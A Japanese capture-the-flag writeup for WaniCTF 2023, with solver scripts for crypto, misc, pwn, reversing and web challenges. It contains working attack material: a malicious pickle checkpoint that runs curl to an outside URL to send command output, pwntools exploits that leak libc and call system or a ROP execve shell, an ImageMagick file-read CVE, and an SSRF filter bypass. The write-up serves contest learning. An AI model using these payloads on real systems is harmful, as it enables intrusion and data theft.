WaniCTF 2023 Writeup
Sat May 06 2023
5/4-6 で開催していた WaniCTF 2023 にソロで参加しました。結果は 8th/840 (得点のあるチームのみカウント) でした。 WaniCTF は慣れない分野の問題を学びながら解くことができるので参加しました。例年通り勉強になってよかったです。
全部を書くと大変なので solves < 100 の問題について writeup を書きます。
Crypto
DSA?
36 solves
chall.pyfrom Crypto.Util.number import isPrime from hashlib import sha256 from os import getenv from random import randbytes import re q = 139595134938137125662213161156181357366667733392586047467709957620975239424132898952897224429799258317678109670496340581564934129688935033567814222358970953132902736791312678038626149091324686081666262178316573026988062772862825383991902447196467669508878604109723523126621328465807542441829202048500549865003 p = 2 * q + 1 g = 2 assert isPrime(p) assert isPrime(q) FLAG = getenv("FLAG", "FAKE{NOTE:THIS_IS_NOT_THE_FLAG}") assert len(FLAG) < 32 def keygen(p: int, q: int, g: int): x = int(randbytes(48).hex(), 16) y = pow(g, x, p) return x, y def sign(message: str, x: int): k = pow(int.from_bytes(message.encode(), "big"), -1, q) r = pow(g, k, p) % q h = sha256(message.encode()).hexdigest() s = pow(k, -1, q) * (int(h, 16) + x * r) % q return h, r, s def verify(message_hash: str, r: int, s: int, y: int): message_hash = int(message_hash, 16) w = pow(s, -1, q) u1 = message_hash * w % q u2 = r * w % q v = (pow(g, u1, p) * pow(y, u2, p) % p) % q return v == r x, y = keygen(p, q, g) print(f"p = {p}") print(f"q = {q}") print(f"g = {g}") print(f"y = {y}") hash, r, s = sign(FLAG, x) assert verify(hash, r, s, y) print("FLAG = {}".format(re.sub(r"([\S+])", r"*", FLAG))) print(f"sha256(FLAG) = {hash}") print(f"r = {r}") print(f"s = {s}")
DSA の問題です。普通の DSA と違うのは が乱数ではなくフラグから生成される毎回同じ値を使っていることです。 の連続使用をすると秘密鍵が復元できるのは有名な話ですが、今回の問題では接続のたびに秘密鍵が変わるため、その解法は使えません。
式をいじると は と変形されます。ここで は31bytes程度、 は79bytes程度となり、 と比べると十分小さい値となります。これを利用して LLL で を復元できることが期待できます。
solve.pyfrom Crypto.Util.number import long_to_bytes p = 279190269876274251324426322312362714733335466785172094935419915241950478848265797905794448859598516635356219340992681163129868259377870067135628444717941906265805473582625356077252298182649372163332524356633146053976125545725650767983804894392935339017757208219447046253242656931615084883658404097001099730007 q = 139595134938137125662213161156181357366667733392586047467709957620975239424132898952897224429799258317678109670496340581564934129688935033567814222358970953132902736791312678038626149091324686081666262178316573026988062772862825383991902447196467669508878604109723523126621328465807542441829202048500549865003 g = 2 y = 191283939490602065334244760795962148682917079388974467146718247430344804212675961464237976758460463313444659350268872371705581070148456318530132803451843433166763641697855329105247326914633773198172036291665390989807095842672577481222722574836463022347070972331511585603162083200093184097357797598894664886194 h = 0x7aad5b407493e83e9c8a11170733019dfb55dcdb0b7ec677ded13ad9ab16cc82 r = 61401707010758101526146375076142785590307812475121812316952376486069149360425245868500855973757366554075933599220935059105890347272857469593141580674416812501978293803766670329096383435341545996560650936693344739955943829806575705777357363320849419106573553984283202966428145927420324135463723534658578592614 s = 4426008923170183411050912423997621301953300943166335574173752428530991573882275123166148651679344717133138199058735390071332777197146351185437582299659545965150556700048292079020380632181968849072599066612623903074020777939765450001791867585208659589870684271942204806727882539332818425480276709949312130016 # r * h^-1 * (k^-1 * x) - s * h^-1 == -k^-1 # [-k^-1, kx, 1] = [kx, l, 1] * mat mat = matrix(ZZ, 3, 3) mat[0, 0] = pow(h, -1, q) * r % q mat[1, 0] = -q mat[2, 0] = -s * pow(h, -1, q) % q mat[0, 1] = 1 mat[2, 2] = 1 weights = diagonal_matrix([2^384, 1, 2^640]) mat *= weights L = mat.LLL() L /= weights print(long_to_bytes(int(-L[0][0])))
FLAG{trivial&baby_dsa_puzzle}
fusion
67 solves
chall.pyfrom Crypto.PublicKey import RSA RSAkeys = RSA.generate(2048) p = RSAkeys.p q = RSAkeys.q n = RSAkeys.n e = RSAkeys.e m = b"FAKE{<REDACTED>}" c = pow(int.from_bytes(m, "big"), e, n) mask = int("55" * 128, 16) r = p & mask mask = mask << 1 r += q & mask print(f"n = {n}") print(f"e = {e}") print(f"c = {c}") print(f"r = {r}")
RSA の のヒントとなる が与えられています。 mask をビットで表すと 01010101...01010101 となっており、 の奇数ビット (最下位ビットを1ビット目として) と の偶数ビットが既知ということになります。
これを使って帰納的に を復元できます。下位 ビットが既知のとき、 番目のビットは か のどちらかが未知です。この値は となるように定めることができます。
solve.pyfrom from Crypto.Util.number import long_to_bytes n = 27827431791848080510562137781647062324705519074578573542080709104213290885384138112622589204213039784586739531100900121818773231746353628701496871262808779177634066307811340728596967443136248066021733132197733950698309054408992256119278475934840426097782450035074949407003770020982281271016621089217842433829236239812065860591373247969334485969558679735740571326071758317172261557282013095697983483074361658192130930535327572516432407351968014347094777815311598324897654188279810868213771660240365442631965923595072542164009330360016248531635617943805455233362064406931834698027641363345541747316319322362708173430359 e = 65537 c = 887926220667968890879323993322751057453505329282464121192166661668652988472392200833617263356802400786530829198630338132461040854817240045862231163192066406864853778440878582265466417227185832620254137042793856626244988925048088111119004607890025763414508753895225492623193311559922084796417413460281461365304057774060057555727153509262542834065135887011058656162069317322056106544821682305831737729496650051318517028889255487115139500943568231274002663378391765162497239270806776752479703679390618212766047550742574483461059727193901578391568568448774297557525118817107928003001667639915132073895805521242644001132 r = 163104269992791295067767008325597264071947458742400688173529362951284000168497975807685789656545622164680196654779928766806798485048740155505566331845589263626813345997348999250857394231703013905659296268991584448212774337704919390397516784976219511463415022562211148136000912563325229529692182027300627232945 r_bits = list(map(int, f"{r:01024b}"))[::-1] p_bits = [None] * 1024 q_bits = [None] * 1024 for i in range(1024): if i % 2 == 0: p_bits[i] = r_bits[i] else: q_bits[i] = r_bits[i] def bits_to_num(bits, n): res = 0 for i in range(n): res += 2^i * bits[i] return res for i in range(1024): if i % 2 == 0: a_bits, b_bits = p_bits, q_bits else: a_bits, b_bits = q_bits, p_bits tmp_a = bits_to_num(a_bits, i + 1) for j in range(2): assert b_bits[i] is None b_bits[i] = j tmp_b = bits_to_num(b_bits, i + 1) if tmp_a * tmp_b % 2^(i+1) == n % 2^(i+1): break b_bits[i] = None assert b_bits is not None p = bits_to_num(p_bits, 1024) q = bits_to_num(q_bits, 1024) phi = (p - 1) * (q - 1) d = pow(e, -1, phi) print(long_to_bytes(pow(c, d, n)))
FLAG{sequ4ntia1_prim4_fact0rizati0n}
Misc
machine_loading
31 solves
chall.pyimport torch from flask import Flask, request, render_template from io import BytesIO import pathlib import os app = Flask(__name__, template_folder="/app/templates") @app.route("/", methods=["GET"]) def index(): return render_template("upload.html") @app.route("/upload", methods=["POST"]) def upload(): file = request.files["file"] if not file: return "No file uploaded.", 422 if file.content_length > 1024 * 1024: # 1MB return "File too large. Max size is 1MB.", 400 suffix = pathlib.Path(file.filename).suffix if suffix == ".ckpt": try: modelload(file) if os.path.exists("output_dir/output.txt"): with open("output_dir/output.txt", "r") as f: msg = f.read() os.remove("output_dir/output.txt") return f"File loaded successfully: {msg}" except Exception as e: return "ERROR: " + str(e), 400 else: return "Invalid file extension. Only .ckpt allowed.", 400 def modelload(file): with BytesIO(file.read()) as f: try: torch.load(f) return except Exception as e: raise e if __name__ == "__main__": app.run(host="0.0.0.0")
普段から torch は使っているが、 .cpkt ファイルを知らず…調べてみると pickle 形式ということがわかります。 試しに以下のように curl MY_URL を実行するような pickle コードを用意してアップロードすると、 MY_URL にリクエストが飛んでくることが確認できます。
code = b"""cos system (Vcurl MY_URL tR.)""" with open("/tmp/hoge.ckpt", "wb") as fp: fp.write(code)
あとは ls でファイルを探し、 cat でファイルを読むだけです。ただし curl MY_URL?res=$(ls) のようなことをすると、スペース・改行のせいで ls の最初の結果のみしか送られてこない罠にハマりました。ダブルクオートも埋め込むことができず。代わりに revshell を実行しようとしてもなぜか起動せず (なんで)。仕方がないので ls / | sed -z 's/\n/|/g' のようにしてスペース・改行を | に置き換えることでごり押ししました。結局普通のファイル名だったので初手 cat flag.txt でよかった…
FLAG{Use_0ther_extens10n_such_as_safetensors}
int_generator
37 solves
chall.pyimport random k = 36 maxlength = 16 def f(x, cnt): cnt += 1 r = 2**k if x == 0 or x == r: return -x, cnt if x * x % r != 0: return -x, cnt else: return -x * (x - r) // r, cnt def g(x): ret = x * 2 + x // 3 * 10 - x // 5 * 10 + x // 7 * 10 ret = ret - ret % 2 + 1 return ret, x // 100 % 100 def digit(x): cnt = 0 while x > 0: cnt += 1 x //= 10 return cnt def pad(x, cnt): minus = False if x < 0: minus = True x, cnt = g(-x) sub = maxlength - digit(x) ret = x for i in range(sub - digit(cnt)): ret *= 10 if minus: ret += pow(x % 10, x % 10 * i, 10) else: ret += pow(i % 10 - i % 2, i % 10 - i % 2 + 1, 10) ret += cnt * 10 ** (maxlength - digit(cnt)) return ret def int_generator(x): ret = -x x_, cnt = f(x, 0) while x_ > 0: ret = x_ x_, cnt = f(x_, cnt) return pad(ret, cnt) num1 = random.randint(0, 2 ** (k - 1)) num2 = random.randint(0, 2 ** (k - 1)) num3 = random.randint(0, 2 ** (k - 1)) print("int_generator(num1):{}".format(int_generator(num1))) print("int_generator(num2):{}".format(int_generator(num2))) print("int_generator(num3):{}".format(int_generator(num3)))
どういうことをやりたいコードなのかはさっぱりわからず…いろいろ考察すると以下のことがわかります。
- int_generator(flag1) == int_generator(0) となる (偶然気づいちゃった)
- int_generator 関数の最後で pad 関数に渡す引数について、 cnt は1か2になる
- cnt == 2 は x が の倍数のとき、 cnt = 1 はそれ以外のとき
- cnt == 2 のとき ret は正、 cnt == 1 のとき、 ret は負
- pad 関数で minus == True のとき、出力の末尾の 番目 (10進数表記で) は となる
- pad 関数で minus == False のとき、出力の末尾は となる
- pad 関数で minus == False のとき、 pad に引き渡された cnt が出力の先頭に現れる
これらを元に考えると、 も 末尾が となっているため、 minus == False として生成されたものと考えられます。このとき cnt == 2 になるはずで、入力した値は の倍数となります。定義域は なので、 の倍数は 個のみです。これらを全探索することで値を求めました。
solve.pytarget2 = 2264663430088446 target3 = 6772814078400884 for i in range(2 ** 18): if int_generator(2 ** 18 * i) == target2: print(2 ** 18 * i) for i in range(2 ** 18): if int_generator(2 ** 18 * i) == target3: print(2 ** 18 * i)
FLAG{0_26476544_34359738368}
range_xor
40 solves
まず の要素については なため、考慮する必要がありません。除外します。
操作 をどの要素にも行わないときの を 、最小の を 、 とします。すると
となる 0, 1 のベクトル の種類数を数える問題と考えることができます (計算は 上で行う)。ここで は を行ベクトルとした行列です。
の定義から となる が存在することは保証されているため、 のカーネル空間の次元を とすると、 が求める答えです。
solve.sageA = ... A = list(filter(lambda x: x > 500, A)) M = 10 def num_to_bits(num): bits = [] for _ in range(M): bits.append(num % 2) num //= 2 return bits mat = matrix(GF(2), len(A), M) for i in range(len(A)): ai = A[i] bi = min(ai, 1000 - ai) a_bits = num_to_bits(ai) b_bits = num_to_bits(bi) for j in range(M): if a_bits[j] != b_bits[j]: mat[i, j] = 1 n = mat.kernel().matrix().nrows() print(pow(2, n, 10**9 + 7))
FLAG{461905191}
Guess
59 solves
chall.pyimport os import random ANSWER = list(range(10**4)) random.shuffle(ANSWER) CHANCE = 15 def peep(): global CHANCE if CHANCE <= 0: print("You ran out of CHANCE. Bye!") exit(1) CHANCE -= 1 index = map(int, input("Index (space-separated)> ").split(" ")) result = [ANSWER[i] for i in index] random.shuffle(result) return result def guess(): guess = input("Guess the numbers> ").split(" ") guess = list(map(int, guess)) if guess == ANSWER: flag = os.getenv("FLAG", "FAKE{REDACTED}") print(flag) else: print("Incorrect") def main(): menu = """ 1: peep 2: guess""".strip() while True: choice = int(input("> ")) if choice == 1: result = peep() print(result) elif choice == 2: guess() else: print("Invalid choice") break
この問題では 10000 個整数の順番を当てるのが目標ですが、まずは 個の場合での解法を考えます。1回のクエリで0から までの整数を送ると、各数が0から 番目の整数か否かを分類することができます。したがって2分木のようにクエリを飛ばしていくことで全番号の順番が特定可能です (自然言語での説明は難しいのでコードを見ていただければ…)。 実際は 10000 個の整数なので、 個の整数を仮定して解こうとすれば上手くいきます。
solve.pyfrom pwn import remote from tqdm import tqdm idx_list_list, e = [[0]], 1 for _ in range(13): for idx_list in idx_list_list: idx_list += [2 ** e + idx for idx in idx_list] idx_list_list.append(list(range(2 ** e))) e += 1 N = 10**4 // 2 io = remote("guess-mis.wanictf.org", 50018) res_list = [] for i in range(14): idx_list = list(filter(lambda x: x < 10000, idx_list_list[i])) io.sendlineafter(b"> ", b"1") io.sendlineafter(b"index> ", " ".join(map(str, idx_list))) res = eval(io.recvline().strip().decode()) res_list.append((set(idx_list), set(res))) cands = list(range(10**4)) set_cands = set(cands) ans = [] for i in tqdm(range(10000)): s = set_cands.copy() for idx_list, res in res_list: if i in idx_list: s &= res else: s &= set_cands - res if len(s) == 1: ans.append(next(iter(s))) else: ans.append(None) io.sendlineafter(b"> ", b"2") io.sendlineafter(b"list> ", " ".join(map(str, ans))) print(io.recvline())
FLAG{How_did_you_know?_10794fcf171f8b2}
Pwnable
08. Time Table
33 solves
register_mandatory_class や register_elective_class を見ると、 list のインデックスの範囲が制限されていません。そのため想定外の領域のメモリを時間割に反映させることができそうです。
gdb でメモリをみてみます。
pwndbg> x/64gx &mandatory_list 0x4050c0 <mandatory_list>: 0x0000000000403008 0x0000000200000003 0x4050d0 <mandatory_list+16>: 0x0000000000403018 0x0000000000403024 0x4050e0 <mandatory_list+32>: 0x000000000040303c 0x0000000000403048 0x4050f0 <mandatory_list+48>: 0x0000000000000000 0x0000000000000000 0x405100 <mandatory_list+64>: 0x0000000000000000 0x0000000000000000 0x405110 <mandatory_list+80>: 0x0000000000403054 0x0000000000403064 0x405120 <mandatory_list+96>: 0x0000000400000002 0x0000000000403018 0x405130 <mandatory_list+112>: 0x0000000000403024 0x0000000000403074 0x405140 <mandatory_list+128>: 0x0000000000403080 0x0000000000000000 0x405150 <mandatory_list+144>: 0x0000000000000000 0x0000000000000000 0x405160 <mandatory_list+160>: 0x0000000000000000 0x000000000040308f 0x405170 <mandatory_list+176>: 0x00000000004030a0 0x0000000100000001 0x405180 <mandatory_list+192>: 0x0000000000403018 0x00000000004030af 0x405190 <mandatory_list+208>: 0x00000000004030c0 0x00000000004030c8 0x4051a0 <mandatory_list+224>: 0x0000000000000000 0x0000000000000000 0x4051b0 <mandatory_list+240>: 0x0000000000000000 0x0000000000000000 0x4051c0 <mandatory_list+256>: 0x00000000004030d7 0x0000000000000000 0x4051d0: 0x0000000000000000 0x0000000000000000 0x4051e0 <elective_list>: 0x0000000000403117 0x0000000200000003 0x4051f0 <elective_list+16>: 0x0000000000000000 0x0000000000000000 0x405200 <elective_list+32>: 0x0000000000000000 0x0000000000000000 0x405210 <elective_list+48>: 0x0000000000403125 0x00000000004012d6 0x405220 <elective_list+64>: 0x0000000000403133 0x0000000400000002 0x405230 <elective_list+80>: 0x0000000000000000 0x0000000000000000 0x405240 <elective_list+96>: 0x0000000000000000 0x0000000000000000 0x405250 <elective_list+112>: 0x000000000040314a 0x0000000000401337 0x405260 <stdout@GLIBC_2.2.5>: 0x00007ffff7f855a0 0x0000000000000000 0x405270 <stdin@GLIBC_2.2.5>: 0x00007ffff7f848c0 0x0000000000000000 0x405280 <stderr@GLIBC_2.2.5>: 0x00007ffff7f854c0 0x0000000000000000 0x405290: 0x0000000000000000 0x0000000000000000 0x4052a0 <timetable>: 0x0000000000000000 0x0000000000000000 0x4052b0 <timetable+16>: 0x0000000000000000 0x0000000000000000
mandatory_list のサイズは 0x58, elective_list のサイズは 0x40 になっています。 mandatory_list[4] が elective_list[1] のアドレス開始場所が一緒になることがわかります。これを利用して4番目の mandatory の授業を登録し、メモを書くと、 elective の授業として見たときに先生の名前がメモに書いた値をアドレスとみたときの中身になります。これで任意のアドレスの値を読み取ることができます。
あとはアドレスのジャンプ先を system とかにする必要がありますが、これは elective_subject の IsAvailable を書き換えることで任意関数の呼び出しが可能です。
libc のバージョンを特定したあと system を呼んでシェルを叩いてますが、 libc を使う想定だったら配布されてそう (他の問題がそうだったので) で、もっと楽に解く方法があったのかもしれないです。
solve.pyfrom pwn import * elf = ELF("./pwn-TimeTable/mychall") libc = ELF("./pwn-TimeTable/libc6_2.35-0ubuntu1_amd64.so") context.binary = elf io = remote("timetable-pwn.wanictf.org", 9008) io.sendlineafter(b"name : ", b"/bin/sh") io.sendlineafter(b"id : ", b"10000") io.sendlineafter(b"major : ", b"100") def leak_got(name): io.sendlineafter(b">", b"1") io.sendlineafter(b">", b"4") io.sendlineafter(b">", b"4") io.sendlineafter(b">", b"FRI 3") io.sendafter(b"CLASS\n", p64(elf.got[name])) io.sendlineafter(b">", b"2") io.recvuntil(b"Intellect - ") addr = u64(io.recvline()[:-1].ljust(8, b"\x00")) io.sendlineafter(b">", b"1") return addr # libc leak # # c 1 # addr_puts = leak_got("puts") # print(f"{addr_puts = :#x}") # # c 4 # addr_printf = leak_got("printf") # print(f"{addr_printf = :#x}") # # c 4 # addr_read = leak_got("read") # print(f"{addr_read = :#x}") addr_puts = leak_got("puts") print(f"{addr_puts = :#x}") libc.address = addr_puts - libc.symbols["puts"] print(f"{libc.address = :#x}") io.sendlineafter(b">", b"1") io.sendlineafter(b">", b"4") io.sendlineafter(b">", b"4") io.sendlineafter(b">", b"FRI 3") io.sendafter(b"CLASS\n", p64(elf.got["printf"]) + p64(libc.symbols["system"])) io.sendlineafter(b">", b"2") io.interactive()
FLAG{Do_n0t_confus3_mandatory_and_el3ctive}
07. ret2libc
88 solves
stack の様子から libc address がわかるので、 ROP をするだけです。
solve.pyfrom pwn import * elf = ELF("./pwn-ret2libc/chall") context.binary = elf libc = ELF("./pwn-ret2libc/libc.so.6") io = remote("ret2win-pwn.wanictf.org", 9007) io.recvuntil(b" +0x28 | ") addr_libc_start_main_ret = int(io.recvuntil(b" ").strip().decode(), 16) print(f"{addr_libc_start_main_ret = :#x}") print(f"{libc.symbols['__libc_start_main'] = :#x}") libc.address = addr_libc_start_main_ret - 0x00029d90 print(f"{libc.address = :#x}") rop = ROP(libc) rop.execve(next(libc.search(b"/bin/sh")), 0, 0) payload = b"A" * 0x28 payload += rop.chain() payload += b"A" * 0x18 io.sendlineafter(b") > ", payload) io.interactive()
FLAG{c0n6r475_0n_6r4du471n6_45_4_9wn_b361nn3r!}
Reversing
Lua
69 solves
各関数、変数の出力を適当に print していたら、 CRYPTEDlIIlIIlI(CRYPTEDlIIllIll, CRYPTEDlIIlIIIl) を呼び出しているときの local d = c["\99\105\112\104\101\114"](c, tmp0(b)) を print すると Input FLAG : のようなデータ文字とともにフラグが書かれていました。雑でごめん
FLAG{1ua_0r_py4h0n_wh4t_d0_y0u_3ay_w4en_43ked_wh1ch_0ne_1s_be44er}
web_assembly
77 solves
ghidra で解析しました (plugin が必要だったかも、覚えていない)。 Exports の中に main があるのでそこをエントリーポイントとしてデコンパイル結果をみていきます。明らかにこのあたりが怪しいですね。
local_4 = 0; unnamed_function_14(local_10,0x101a0); // ① unnamed_function_14(local_1c,0x1024c); // ① unnamed_function_14(local_28,&PTR_DAT_ram_00616c46_ram_0001019c); unnamed_function_14(local_34,0x101e6); unnamed_function_14(local_40,0x1006a); unnamed_function_14(local_4c,0x1011d); unnamed_function_14(local_58,0x10111); unnamed_function_14(local_64,0x100ca); unnamed_function_14(local_70,0x10000); uVar1 = import::env::prompt_name(); // ② unnamed_function_14(local_7c,uVar1); // ② uVar1 = import::env::prompt_pass(); // ② unnamed_function_14(local_88,uVar1); // ② uVar1 = unnamed_function_15(0x143c4,s_Your_UserName_:_ram_0001026d); uVar1 = unnamed_function_16(uVar1,local_7c); unnamed_function_18(uVar1,1); uVar1 = unnamed_function_15(0x143c4,s_Your_PassWord_:_ram_0001027e); uVar1 = unnamed_function_16(uVar1,local_88); unnamed_function_18(uVar1,1); uVar2 = unnamed_function_19(local_7c,local_10); // ③ if (((uVar2 & 1) == 0) || (uVar2 = unnamed_function_19(local_88,local_1c), (uVar2 & 1) == 0)) { uVar1 = unnamed_function_15(0x143c4,s_Incorrect!_ram_0001020a); unnamed_function_18(uVar1,1); } else { uVar1 = unnamed_function_15(0x143c4,s_Correct!!_Flag_is_here!!_ram_00010233); unnamed_function_18(uVar1,1); uVar1 = unnamed_function_16(0x143c4,local_28); uVar1 = unnamed_function_16(uVar1,local_34); uVar1 = unnamed_function_16(uVar1,local_40); uVar1 = unnamed_function_16(uVar1,local_4c); uVar1 = unnamed_function_16(uVar1,local_58); uVar1 = unnamed_function_16(uVar1,local_64); uVar1 = unnamed_function_16(uVar1,local_70); unnamed_function_18(uVar1,1); local_4 = 0; }
②のあたりで local_7c が UserName, local_88 が PassWord の入力値になっていそうなことから、 ③あたりの unnamed_function_19 が strcmp 的なことをやっていそうです (中身はみていません)。 この関数に与えている他の引数 local_10 や local_1c は①のあたりで 0x101a0 と 0x1024c の値を使って unnamed_function_14 で計算されていそうです。 0x101a0, 0x1024c の値を見てみると UserName と PassWord が直接書かれていました。
Flag{Y0u_C4n_3x3cut3_Cpp_0n_Br0us3r!}
Web
certified1, certified2
66 solves, 23 solves
POST /create でアップロードされた画像を input という名前でコピーし、 overlay.png を ImageMagick で画像の右下に上書きし、それを output.png という名前で保存します。この画像は /view/<uuid> で見ることができます。
アップロードする画像の filename を /flag_A のようにすると、 input が /flag_A になります。これで終わりと思いきや、 ImageMagick を実行するときにテキストファイルが input となるためエラーとなってしまいます。それはそうか…
ImageMagick はたびたび CVE が出ているので、 LFI ができそうなものを探してみました。 CVE-2022-44268 が見つかりましたが、これは 7.1.0-49 のバージョンでの CVE で、問題で使われている ImageMagick は 7.1.0-51 だしな…と思って数時間スルーしていました。でも他に脆弱性も見つからないので開き直って PoC を実行してみたら動いたのでこれでした。 pngcrush で /flag_A を LFI すれば certified1 のフラグが手に入ります。
certified2 のほうは環境変数なので /proc/self/environ を見れば終わりかなと思ったら上手く動かず…しかし冒頭で述べたように filename を /proc/self/environ とすれば実ファイルの input ができ、エラーメッセージでディレクトリ格納場所もわかるため、その実ファイルを LFI することでフラグが得られました。
FLAG{7he_sec0nd_f1a9_1s_w41t1n9_f0r_y0u!}
FLAG{n0w_7hat_y0u_h4ve_7he_sec0nd_f1a9_y0u_4re_a_cert1f1ed_h4nk0_m@ster}
Lambda
54 solves
AWS の Access key ID, Secret access key, Region が与えられています。 AWS にはあまり馴染みがないのでいい感じのツールがないか調べて、 pacu というものを見つけました。数時間いろんな機能を使ってみましたが特にめぼしい情報を抜き取ることができず…ほぼ権限ないじゃん
ググりを続けると今度は https://www.slideshare.net/zaki4649/flawscloud を見つけました。 AWS まわりの問題を扱っている常設 CTF の紹介・解説スライドでした。これの Level6 が今回の問題とかなり似ており、そこに書いてある aws cli コマンドを使っていくことでいろんな情報を抜けました。 叩いたコマンドだけ羅列すると以下の通りです。
aws iam list-attached-user-policies --user-name SecretUser aws iam get-policy --policy-arn arn:aws:iam::839865256996:policy/WaniLambdaGetFunc aws iam get-policy-version --policy-arn arn:aws:iam::839865256996:policy/WaniLambdaGetFunc --version-id v1 aws lambda get-function --function-name wani_function
これの最後のコマンドの出力結果を見ると、 s3 のファイルの URL が書かれていました。ここにアクセスすると dll の入った zip がダウンロードできました。 dll の解析はやりたくないなということで strings -e l * を叩いてみたらフラグが見つかりました。
解いた問題で一番時間が溶けました…自力では無理だった
FLAG{l4mabd4_1s_s3rverl3ss_s3rv1c3}
screenshot
91 solves
SSRF の問題で、 /flag.txt のファイルを読めればフラグが手に入ります。以下の部分をいかにバイパスするかが問われています。
if (!req.query.url.includes("http") || req.query.url.includes("file")) { res.status(400).send("Bad Request"); return; }
内容からも file:// を使う気配が漂っています。いろいろやりようはありそうですが、 ?url=File:///http/../flag.txt のクエリストリングで突破しました。
FLAG{beware_of_parameter_type_confusion!}